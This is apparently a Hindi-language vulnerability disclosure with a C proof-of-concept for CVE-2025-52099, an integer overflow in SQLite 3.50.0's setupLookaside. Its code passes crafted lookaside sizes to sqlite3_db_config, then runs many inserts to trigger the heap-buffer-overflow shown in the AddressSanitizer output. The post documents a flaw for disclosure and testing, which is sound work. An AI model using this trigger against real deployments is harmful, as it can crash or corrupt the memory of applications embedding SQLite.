
CVE-2025-52099 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, SQLite 3.50.0 के setupLookaside फ़ंक्शन में एक पूर्णांक अतिप्रवाह जो हीप-बफर-ओवरफ्लो की ओर ले जाता है।
SQLite 3.50.0 में एक पूर्णांक अतिप्रवाह (integer overflow)
SQLite 3.50.0 के setupLookaside फ़ंक्शन में पूर्णांक अतिप्रवाह (integer overflow) ट्रिगर करने के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) नीचे प्रदान किया गया है। यह अतिप्रवाह sz * nBig के अनियंत्रित गुणन के कारण होता है, जो ऋणात्मक मान में लपेट सकता है और अमान्य मेमोरी राइट्स का परिणाम दे सकता है।
परीक्षण किया गया: Ubuntu 22.04 x86_64, SQLite 3.50.0 (कस्टम बिल्ड) के साथ
PoC कोड (C):
#include <stdio.h> #include <sqlite3.h>
int main() { sqlite3 *db;
// Open SQLite database
if (sqlite3_open("test.db", &db)) {
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
return 1;
}
// Malicious lookaside configuration
// sz = 140, cnt = 1979733333
// This causes internal sz * nBig to overflow and produces negative nSm
int rc = sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, NULL, 140, 1979733333);
if (rc != SQLITE_OK) {
fprintf(stderr, "Failed to configure lookaside: %d\n", rc);
return 2;
} else {
printf("[+] Lookaside configured\n");
}
// Create table and perform many inserts to exercise corrupted lookaside pool
sqlite3_exec(db, "CREATE TABLE test(id INTEGER);", NULL, NULL, NULL);
for (int i = 0; i < 100000; i++) {
char sql[64];
snprintf(sql, sizeof(sql), "INSERT INTO test(id) VALUES(%d);", i);
sqlite3_exec(db, sql, NULL, NULL, NULL);
}
printf("[+] Insert finished. Closing DB.\n");
sqlite3_close(db);
return 0;
}
यह PoC, जब AddressSanitizer (-fsanitize=address) के साथ संकलित किया जाता है, तो अमान्य lookaside स्लॉट कॉन्फ़िगरेशन के कारण heap-buffer-overflow उत्पन्न करता है।
ASAN के साथ देखा गया आउटपुट:
==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000f000 ... READ of size 8 at 0x60200000f000 thread T0 ...